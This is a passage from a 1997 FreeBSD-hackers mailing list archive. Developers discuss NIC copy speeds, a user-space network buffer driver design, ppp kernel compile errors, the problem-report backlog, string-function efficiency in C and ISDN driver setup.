Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >>On the 486 box, it takes about 15.5 seconds. On the Pentium box >>(which worked for the NFS install) it takes about 14.5 seconds. >> >>Either of these is just slightly faster than 1 MB/sec and nowhere >>near the claimed 4 MB/sec. Perhaps my board is pessimal and the >>Pentium box, being just a hair faster, is fast enough to keep up? > > My 4MB/second number comes from doing a similar test in the device driver >using bcopy at system startup. I don't know why your results are so slow, >but I do recall seeing unusually low performance numbers from a P6 system >that I once tested - I seem to recall they were about half speed or so, but >I didn't investigate further. > Just for kicks, you might try doing 16 bit copies rather than 32bit >copies and see if your results are affected. This was a 486 system, not a P6 system. (The problem I am having is that the 486 cannot keep up with the data coming from the P6.) I tried 16-bit copies; they were a little slower (about 16 and 18 seconds on the P5-90 and 486-100 respectively). Further information: I have no idea what brand the board is; I got it as scrap. The NIC is a WDC83C690. I just checked the card edge connector and all 16 data lines really *are* there, so I don't think it's an 8-bit board in disguise. From owner-freebsd-hackers Sun Aug 10 22:52:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA13961 for hackers-outgoing; Sun, 10 Aug 1997 22:52:34 -0700 (PDT) Received: from friley01.res.iastate.edu (friley01.res.iastate.edu [129.186.189.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA13956 for ; Sun, 10 Aug 1997 22:52:32 -0700 (PDT) Received: from friley01.res.iastate.edu (loopback [127.0.0.1]) by friley01.res.iastate.edu (8.8.7/8.8.5) with ESMTP id AAA01853 for ; Mon, 11 Aug 1997 00:52:24 -0500 (CDT) Message-Id: <199708110552.AAA01853@friley01.res.iastate.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-hackers@freebsd.org Subject: DISCUSS: interface for raw network driver.. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 11 Aug 1997 00:52:24 -0500 From: Chris Csanady Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am writing a pseudo device that basically sits on top of a network driver, does memory management, and exports the buffers to user-space. For this to work properly, the driver will have to support some extra functionlaity, but it would be reletively simple. The goal is to provide the highest possible performance, while maintaining basic system protection boundries. There are basically 2 parts to it which I would like people to comment on.. First, a simple interface to network drivers to provide the lowest possible send and receive functionality for use with such a device: I would like to keep the interface between the two drivers as simple and flexible as possible, as to permit future implementation in other drivers. Basically, I am planning on the following.. o A driver specific send function that takes a kva, and length. o An ack function in the pseudo-device to call when the send is complete. o A buffer allocation function in the pseudo-device to be called from the driver, for allocating receive frame buffers. o An input function in the pseudo-device to be called upon reception of a packet. Is this a reasonable place to draw the line? One thing I am stuck on is how I "attach" the pseudo-device to the net interface. Also the exporting of the basic functions from the driver, and device to eachother. Second, the device itself: The device would have associated with it a large chunk of memory, preferrably a multiple of the recently implemented 4MB pages. (Thanks John!) It would also manage a set of endpoints that you could do IO on. Once created, they would include foreign addresses, ports, queues, max queue lengths, seq and ack numbers(maybe someday), etc.. Each one will correspond to a VCI, and this is how the user will differentiate between them. A program will use it by opening the special file, and mmapping the whole chunk of device memory. It will then create an endpoint, specifying the foreign address, port number, queue length restrictions, etc. Now it can do IO by specificifying offset, size, and VCI. (Currently, I am using a series of ioctls for this. They include allocation, freeing, sending, etc.. of endpoints and buffers) The obvious drawback is that anyone using this interface will be able to trash eachothers buffers, but this seems a reasonable compromise. With only one page in use, there will be no TLB thrashing, and no overhead for vm mappings. Ideally, it will be as close as possible to providing a user level network driver without comprimising overall system integrity. Our initial use will be providing high performance, low latency communication for our cluster. Initially, this arhitecture will be used for gigabit and fast ethernet, although if there are any glaring problems which would prevent use on other network architectures, I would like to know. Even with ethernet however, it will allow use of non-standard frame sizes on hardware which supports it, and will be a huge win. Thoughts? Chris Csanady From owner-freebsd-hackers Sun Aug 10 23:47:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16600 for hackers-outgoing; Sun, 10 Aug 1997 23:47:34 -0700 (PDT) Received: from rvc1.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16593 for ; Sun, 10 Aug 1997 23:47:31 -0700 (PDT) Received: (from helbig@localhost) by rvc1.informatik.ba-stuttgart.de (8.8.7/8.8.5) id IAA01269; Mon, 11 Aug 1997 08:46:45 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708110646.IAA01269@rvc1.informatik.ba-stuttgart.de> Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-Reply-To: from Eugeny Kuzakov at "Aug 11, 97 10:40:35 am" To: kev@lab321.ru (Eugeny Kuzakov) Date: Mon, 11 Aug 1997 08:46:44 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Hi ! > > Has anyone compiled ppp-2.3.[0,1] and 2.1.7.1,2.2.2 ? > > I compiled ppp-2.3b3 under 2.1.x only ! I use 2.1.7.1 now. > (Need only one little patch to compile. Replace #ifdef FreeBSD -> #ifdef > __FreeBSD__). > > When I try to compile kernel with 2.3.[0,1] patches I see this errors. > ~~~~~~~ > loading kernel > ppp_tty.o: Undefined symbol `_pppoutput' referenced from text segment > *** Error code 1 This symbol is defined in /sys/net/if_ppp.c, which in turn will be included in the kernel by the line pseudo-device ppp in the kernel configuration file. Perhaps you have an old (2.1.x) config program which cannot be used to configure 2.2.x kernels. Hope this helps Wolfgang > p.s. Sorry for my english...:( It's ok! I perfectly understood your message, because English is not my native language :-) From owner-freebsd-hackers Sun Aug 10 23:53:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16890 for hackers-outgoing; Sun, 10 Aug 1997 23:53:32 -0700 (PDT) Received: from ghpc8.ihf.rwth-aachen.de (ghpc8.ihf.RWTH-Aachen.DE [134.130.90.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16882 for ; Sun, 10 Aug 1997 23:53:29 -0700 (PDT) Received: from ghpc6.ihf.rwth-aachen.de (ghpc6.ihf.rwth-aachen.de [134.130.90.6]) by ghpc8.ihf.rwth-aachen.de (8.8.5/8.8.5) with ESMTP id IAA20883; Mon, 11 Aug 1997 08:53:24 +0200 (CEST) Received: (from thomas@localhost) by ghpc6.ihf.rwth-aachen.de (8.8.6/8.8.5) id IAA01298; Mon, 11 Aug 1997 08:53:23 +0200 (CEST) To: hm@kts.org Cc: joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG, pechter@lakewood.com Subject: Re: Status of PCVT References: From: Thomas Gellekum Date: 11 Aug 1997 08:53:21 +0200 In-Reply-To: hm@kts.org's message of Sat, 9 Aug 1997 20:12:50 +0200 (CEST) Message-ID: <87wwltmcrh.fsf@ghpc6.ihf.rwth-aachen.de> Lines: 8 X-Mailer: Gnus v5.4.37/XEmacs 19.15 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk hm@kts.org (Hellmuth Michaelis) writes: > > 3.32 fixes some bugs Thomas Gellekum found out by exploring it with > some extraordinary, strange and mysterious VAX programs. Yeah, like the standard editor. ;-) tg From owner-freebsd-hackers Mon Aug 11 00:06:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA17318 for hackers-outgoing; Mon, 11 Aug 1997 00:06:20 -0700 (PDT) Received: from rvc1.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA17313 for ; Mon, 11 Aug 1997 00:06:16 -0700 (PDT) Received: (from helbig@localhost) by rvc1.informatik.ba-stuttgart.de (8.8.7/8.8.5) id JAA01406; Mon, 11 Aug 1997 09:04:45 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708110704.JAA01406@rvc1.informatik.ba-stuttgart.de> Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: <199708102356.RAA27563@rocky.mt.sri.com> from Nate Williams at "Aug 10, 97 05:56:47 pm" To: nate@mt.sri.com (Nate Williams) Date: Mon, 11 Aug 1997 09:04:45 +0200 (MET DST) Cc: helbig@MX.BA-Stuttgart.De, brandon@roguetrader.com, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The PRs seem to be orphaned since Mike Pritchard left the FreeBSD > > project in May 1997. We submitters who are not committers have a > > *very* hard time getting any feedback. > > This is the main problem, and Mike didn't actually leave the project so > much as disappeared from the face of the earth. Since no warning was > given, and that people often 'go away' on volunteer projects it wasn't > considered a bad thing until all attempts to contact him were > un-successful. > > > Jordan mentioned that he's going to hire developers for porting > > the OS to another architecture. (He left open which architecture.) > > I conclude from this, the desertion of the PRs and the discussion > > about current ports versus stable ports that the FreeBSD project > > is switching to a commercial company that does not depend on > > volunteers any more in the long run. > > Your conclusions are wrong. Jordan is simply 'paying' for a port to This is, what I wanted to read :-) Wolfgang From owner-freebsd-hackers Mon Aug 11 00:31:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA18971 for hackers-outgoing; Mon, 11 Aug 1997 00:31:51 -0700 (PDT) Received: from rvc1.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA18950 for ; Mon, 11 Aug 1997 00:31:45 -0700 (PDT) Received: (from helbig@localhost) by rvc1.informatik.ba-stuttgart.de (8.8.7/8.8.5) id JAA01446; Mon, 11 Aug 1997 09:31:33 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708110731.JAA01446@rvc1.informatik.ba-stuttgart.de> Subject: Re: why bother submitting anything (via send-pr) In-Reply-To: <2423.871257696@time.cdrom.com> from "Jordan K. Hubbard" at "Aug 10, 97 05:01:36 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 11 Aug 1997 09:31:33 +0200 (MET DST) Cc: helbig@MX.BA-Stuttgart.De, brandon@roguetrader.com, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The PRs seem to be orphaned since Mike Pritchard left the FreeBSD > > project in May 1997. We submitters who are not committers have a > > *very* hard time getting any feedback. > > > > Six of my submissions are left open. Some of them are already fixed or > > analyzed and should be closed, some are only fixing typos or adding > > a line to man pages and are not worth the trouble you have to > > go into in order to get your submission noticed. > > Again, I'm _very sorry_ you're having this experience and all I can Well, last night Steve Price had a look at my submissions and closed all of the old ones. Thank you Steve! > say is that this is due to overload, not any deliberate desire to > ignore PRs. Far from it - I'd sleep better at night if I had someone I didn't know, you are were sleeping at all :-) > looking after the PRs full-time but wishing alone does not, > unfortunately, make it so. > > > They do! Last week I've got more responses (three) from NetBSD users > > than from the FreeBSD project (zero). > > They probably have far fewer PRs overall to respond to. ;-) I didn't send PRs to NetBSD. They asked about BISDN stuff and the CMD640 workaround. > > Jordan mentioned that he's going to hire developers for porting > > the OS to another architecture. (He left open which architecture.) > > FreeBSD/ALPHA As far as I remember you were once talking about yet another architecture. > > I conclude from this, the desertion of the PRs and the discussion > > about current ports versus stable ports that the FreeBSD project > > is switching to a commercial company that does not depend on > > volunteers any more in the long run. > > This is a thoroughly incorrect conclusion, I'm afraid. I'm glad to read! > What the FreeBSD project is current trying to do is cope realistically > with the side-effects of its success, such side-effects being a > burgeoning PR database, more tech support questions flowing in than > most of our volunteers can handle and a greately increased need for an > effective quality assurance program. > > To put it another way, there are a growing number of tasks which > volunteers refuse to handle simply because they are not fun at all and Well to me submitting man page fixes and answering questions still is fun (maybe because I'm new at this and hence learn a lot from doing simple stuff that might be boring to the more experienced volunteer) > rather too much like a Real Job(tm) for them to want to do it for > free. It is THESE people that I'd like to pay, along with the serious > developers needed to make progress on a number of stalled issues (like > the new installation tools), in order that FreeBSD might continue to > deliver on its promise. > > I think you vastly underestimate the size of the growing gap between > what volunteers are willing to do and the number of un-done tasks we > have piling up, waiting for a mysterious "someone" to do them. Hmm. That's why I'm reluctant submitting trivial fixes. OTOH I was impressed by the polished nature of FreeBSD when I switched from Linux and I hate to witness a decrease in quality because of the success eating up all resources. Wolfgang From owner-freebsd-hackers Mon Aug 11 01:02:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20036 for hackers-outgoing; Mon, 11 Aug 1997 01:02:50 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA19998 for ; Mon, 11 Aug 1997 01:01:55 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.6/8.8.5) with SMTP id PAA26236; Mon, 11 Aug 1997 15:00:37 +0700 (OSD) Date: Mon, 11 Aug 1997 15:00:37 +0700 (OSD) From: Eugeny Kuzakov To: Wolfgang Helbig cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-Reply-To: <199708110646.IAA01269@rvc1.informatik.ba-stuttgart.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Wolfgang Helbig wrote: > > > > Hi ! > > > > Has anyone compiled ppp-2.3.[0,1] and 2.1.7.1,2.2.2 ? > > > > I compiled ppp-2.3b3 under 2.1.x only ! I use 2.1.7.1 now. > > (Need only one little patch to compile. Replace #ifdef FreeBSD -> #ifdef > > __FreeBSD__). > > > > When I try to compile kernel with 2.3.[0,1] patches I see this errors. > > ~~~~~~~ > > loading kernel > > ppp_tty.o: Undefined symbol `_pppoutput' referenced from text segment > > *** Error code 1 > > This symbol is defined in /sys/net/if_ppp.c, which in turn will be > included in the kernel by the line > pseudo-device ppp > in the kernel configuration file. I have it line in kernel config. What can I do additional ? Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Mon Aug 11 01:05:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20189 for hackers-outgoing; Mon, 11 Aug 1997 01:05:22 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA20157 for ; Mon, 11 Aug 1997 01:04:55 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.6/8.8.5) with SMTP id PAA26361; Mon, 11 Aug 1997 15:03:07 +0700 (OSD) Date: Mon, 11 Aug 1997 15:03:07 +0700 (OSD) From: Eugeny Kuzakov To: Wolfgang Helbig cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-Reply-To: <199708110646.IAA01269@rvc1.informatik.ba-stuttgart.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Wolfgang Helbig wrote: > > > > Hi ! > > > > Has anyone compiled ppp-2.3.[0,1] and 2.1.7.1,2.2.2 ? > > > > I compiled ppp-2.3b3 under 2.1.x only ! I use 2.1.7.1 now. > > (Need only one little patch to compile. Replace #ifdef FreeBSD -> #ifdef > > __FreeBSD__). > > > > When I try to compile kernel with 2.3.[0,1] patches I see this errors. > > ~~~~~~~ > > loading kernel > > ppp_tty.o: Undefined symbol `_pppoutput' referenced from text segment > > *** Error code 1 > > This symbol is defined in /sys/net/if_ppp.c, which in turn will be > included in the kernel by the line > pseudo-device ppp > in the kernel configuration file. > > Perhaps you have an old (2.1.x) config program which cannot be used > to configure 2.2.x kernels. I have fbsd 2.1.7.1 box. Note: ppp-2.3b3 under FreeBSD 2.1.7.1 works for me fine. Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Mon Aug 11 01:11:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20523 for hackers-outgoing; Mon, 11 Aug 1997 01:11:33 -0700 (PDT) Received: from rvc1.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA20516 for ; Mon, 11 Aug 1997 01:11:30 -0700 (PDT) Received: (from helbig@localhost) by rvc1.informatik.ba-stuttgart.de (8.8.7/8.8.5) id KAA01718; Mon, 11 Aug 1997 10:10:08 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708110810.KAA01718@rvc1.informatik.ba-stuttgart.de> Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-Reply-To: from Eugeny Kuzakov at "Aug 11, 97 03:00:37 pm" To: kev@lab321.ru (Eugeny Kuzakov) Date: Mon, 11 Aug 1997 10:10:08 +0200 (MET DST) Cc: helbig@MX.BA-Stuttgart.De, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Mon, 11 Aug 1997, Wolfgang Helbig wrote: > > > > > > > Hi ! > > > > > > Has anyone compiled ppp-2.3.[0,1] and 2.1.7.1,2.2.2 ? > > > > > > I compiled ppp-2.3b3 under 2.1.x only ! I use 2.1.7.1 now. > > > (Need only one little patch to compile. Replace #ifdef FreeBSD -> #ifdef > > > __FreeBSD__). > > > > > > When I try to compile kernel with 2.3.[0,1] patches I see this errors. > > > ~~~~~~~ > > > loading kernel > > > ppp_tty.o: Undefined symbol `_pppoutput' referenced from text segment > > > *** Error code 1 > > > > This symbol is defined in /sys/net/if_ppp.c, which in turn will be > > included in the kernel by the line > > pseudo-device ppp > > in the kernel configuration file. > I have it line in kernel config. > What can I do additional ? Check: Does if_ppp.o exist in your kernel compilation directory? (/sys/compile/your-kernels-name). Is it linked to your kernel. Do you have the 2.2.2-version of /usr/sbin/config? Does /sys/net/if_ppp.c define the function pppoutput()? Wolfgang From owner-freebsd-hackers Mon Aug 11 01:21:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20908 for hackers-outgoing; Mon, 11 Aug 1997 01:21:11 -0700 (PDT) Received: from rvc1.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA20902 for ; Mon, 11 Aug 1997 01:21:07 -0700 (PDT) Received: (from helbig@localhost) by rvc1.informatik.ba-stuttgart.de (8.8.7/8.8.5) id KAA01745; Mon, 11 Aug 1997 10:17:10 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708110817.KAA01745@rvc1.informatik.ba-stuttgart.de> Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-Reply-To: from Eugeny Kuzakov at "Aug 11, 97 03:03:07 pm" To: kev@lab321.ru (Eugeny Kuzakov) Date: Mon, 11 Aug 1997 10:17:10 +0200 (MET DST) Cc: helbig@MX.BA-Stuttgart.De, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Mon, 11 Aug 1997, Wolfgang Helbig wrote: > > > > > > > Hi ! > > > > > > Has anyone compiled ppp-2.3.[0,1] and 2.1.7.1,2.2.2 ? > > > > > > I compiled ppp-2.3b3 under 2.1.x only ! I use 2.1.7.1 now. > > > (Need only one little patch to compile. Replace #ifdef FreeBSD -> #ifdef > > > __FreeBSD__). > > > > > > When I try to compile kernel with 2.3.[0,1] patches I see this errors. > > > ~~~~~~~ > > > loading kernel > > > ppp_tty.o: Undefined symbol `_pppoutput' referenced from text segment > > > *** Error code 1 > > > > This symbol is defined in /sys/net/if_ppp.c, which in turn will be > > included in the kernel by the line > > pseudo-device ppp > > in the kernel configuration file. > > > > Perhaps you have an old (2.1.x) config program which cannot be used > > to configure 2.2.x kernels. > I have fbsd 2.1.7.1 box. > Note: ppp-2.3b3 under FreeBSD 2.1.7.1 works for me fine. So you might have to upgrade to FreeBSD 2.2.x to make ppp-2.3.[01] compile. Wolfgang From owner-freebsd-hackers Mon Aug 11 01:37:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA21587 for hackers-outgoing; Mon, 11 Aug 1997 01:37:55 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA21572 for ; Mon, 11 Aug 1997 01:37:22 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.6/8.8.5) with SMTP id PAA28690; Mon, 11 Aug 1997 15:36:59 +0700 (OSD) Date: Mon, 11 Aug 1997 15:36:59 +0700 (OSD) From: Eugeny Kuzakov To: Wolfgang Helbig cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-Reply-To: <199708110810.KAA01718@rvc1.informatik.ba-stuttgart.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Wolfgang Helbig wrote: > Check: > Does if_ppp.o exist in your kernel compilation directory? Yes. > (/sys/compile/your-kernels-name). Is it linked to your kernel. Do > you have the 2.2.2-version of /usr/sbin/config? No. > Does /sys/net/if_ppp.c define the function pppoutput()? Yes. That's why I query this... Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Mon Aug 11 03:23:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA25936 for hackers-outgoing; Mon, 11 Aug 1997 03:23:49 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA25927 for ; Mon, 11 Aug 1997 03:23:44 -0700 (PDT) Message-Id: <199708111023.DAA25927@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA017925006; Mon, 11 Aug 1997 20:23:26 +1000 From: Darren Reed Subject: Re: creating man 9f To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Mon, 11 Aug 1997 20:23:26 +1000 (EST) Cc: avalon@coombs.anu.edu.au, hackers@FreeBSD.ORG In-Reply-To: <199708101505.RAA12760@ocean.campus.luth.se> from "Mikael Karpberg" at Aug 10, 97 05:05:55 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In some mail from Mikael Karpberg, sie said: > > Not really realted, but it's always annoyed me that all the strcat and strcpy > functions are so ineffective. They return a pointer to the buffer you > supply to the function (which is useless since you have it already) and > not a pointer to the trailing NUL. So if you want to add two strings you > use strcat twice, and thereby have the whole string walked through at least > too times too much. This always leads to me writing my own "xstrcpy()" or so, > which makes it possible to do: > > ptr = xstrcpy(buffer, "first "); > ptr = xstrcpy(ptr, "second"); > ptr = xstrcpy(ptr, "third"); > ..etc.. > > And having it an inline function you basically waste no CPU for meaningless > functioncalls and looping through something you've already looped through. > > My point is... shouldn't the kernel, at least, be written with efficiency > in mind? No matter if it's not that big of a deal (I guess the kernel is not > doing too much string handling, anyway). But I guess this is not the only > case of inefficient code. How about this: buffer[sizeof(buffer) - 1] = '\0'; len = strlen(strncpy(bufer, sizeof(buffer) - 1, userstring));A or strcat(strcpy(buffer, "first"), " second")); but it's not often done, as its not as easy to read as: buffer[sizeof(buffer) - 1] = '\0'; strncpy(bufer, sizeof(buffer) - 1, userstring); len = strlen(buffer); What would be cool is a varargs version of strcat: char *strvcat(char *dest, char *src1, ..., NULL) (which is sort of what you're doing above :) Darren From owner-freebsd-hackers Mon Aug 11 04:02:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA27262 for hackers-outgoing; Mon, 11 Aug 1997 04:02:26 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA27257 for ; Mon, 11 Aug 1997 04:02:21 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0wxsEe-000o9iC; Mon, 11 Aug 97 13:02 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Mon, 11 Aug 1997 12:37:13 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for freebsd-hackers@FreeBSD.ORG; Mon, 11 Aug 1997 12:30:27 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #7 built 1997-Jul-4) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: Status of PCVT In-Reply-To: <87wwltmcrh.fsf@ghpc6.ihf.rwth-aachen.de> from Thomas Gellekum at "Aug 11, 97 08:53:21 am" To: tg@ihf.rwth-aachen.de (Thomas Gellekum) Date: Mon, 11 Aug 1997 12:30:27 +0200 (CEST) Cc: hm@kts.org, joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG, pechter@lakewood.com Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Thomas Gellekum wrote: > > 3.32 fixes some bugs Thomas Gellekum found out by exploring it with > > some extraordinary, strange and mysterious VAX programs. > > Yeah, like the standard editor. ;-) Ok, ok, Thomas, this is what i meant: ".. with some extraordinary, strange and mysterious standard VAX programs." :-)))) hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Mon Aug 11 05:04:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA29244 for hackers-outgoing; Mon, 11 Aug 1997 05:04:33 -0700 (PDT) Received: from bagpuss.visint.co.uk (bagpuss.visint.co.uk [194.207.134.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA29238 for ; Mon, 11 Aug 1997 05:04:30 -0700 (PDT) Received: from dylan.visint.co.uk (dylan.visint.co.uk [194.207.134.180]) by bagpuss.visint.co.uk (8.7.5/8.7.3) with SMTP id NAA06654; Mon, 11 Aug 1997 13:03:59 +0100 (BST) Date: Mon, 11 Aug 1997 13:03:58 +0100 (BST) From: Stephen Roome To: Dick van den Burg cc: marc@bowtie.nl, Wolfgang Helbig , Peter Korsten , hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards In-Reply-To: <199708101647.SAA29206@burg.is.ge.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (My Final $0.02) On Sun, 10 Aug 1997, Dick van den Burg wrote: > This is how I did it ....: > $Id: bisdn-howto.txt,v 1.3 1997/07/15 18:46:57 burg Exp $ > > HOW TO use the bisdn package with FreeBSD. < A lot of information snipped ... > Well, that's not exactly a simple "pkg_add bisdn-0.97" or "make install" is it, compiling xemacs is quicker and easier. Somone asked for an opinion, and I gave it. I've been pretty much flamed for saying bisdn isn't ready to be included, but the amount of people who seem to have to make international phonecalls to set it up seem to be telling me that I was quite right, and it needs work. Perhaps that's why it's being rewritten afterall. -- Steve Roome - Vision Interactive Ltd. Tel:+44(0)117 9730597 Home:+44(0)976 241342 WWW: http://dylan.visint.co.uk/ From owner-freebsd-hackers Mon Aug 11 05:24:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA00220 for hackers-outgoing; Mon, 11 Aug 1997 05:24:22 -0700 (PDT) Received: from bitbox.follo.net (eivind@bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA00215 for ; Mon, 11 Aug 1997 05:24:19 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.5/8.7.3) id OAA09631; Mon, 11 Aug 1997 14:22:14 +0200 (CEST) Date: Mon, 11 Aug 1997 14:22:14 +0200 (CEST) Message-Id: <199708111222.OAA09631@bitbox.follo.net> From: Eivind Eklund To: Wolfgang Helbig CC: 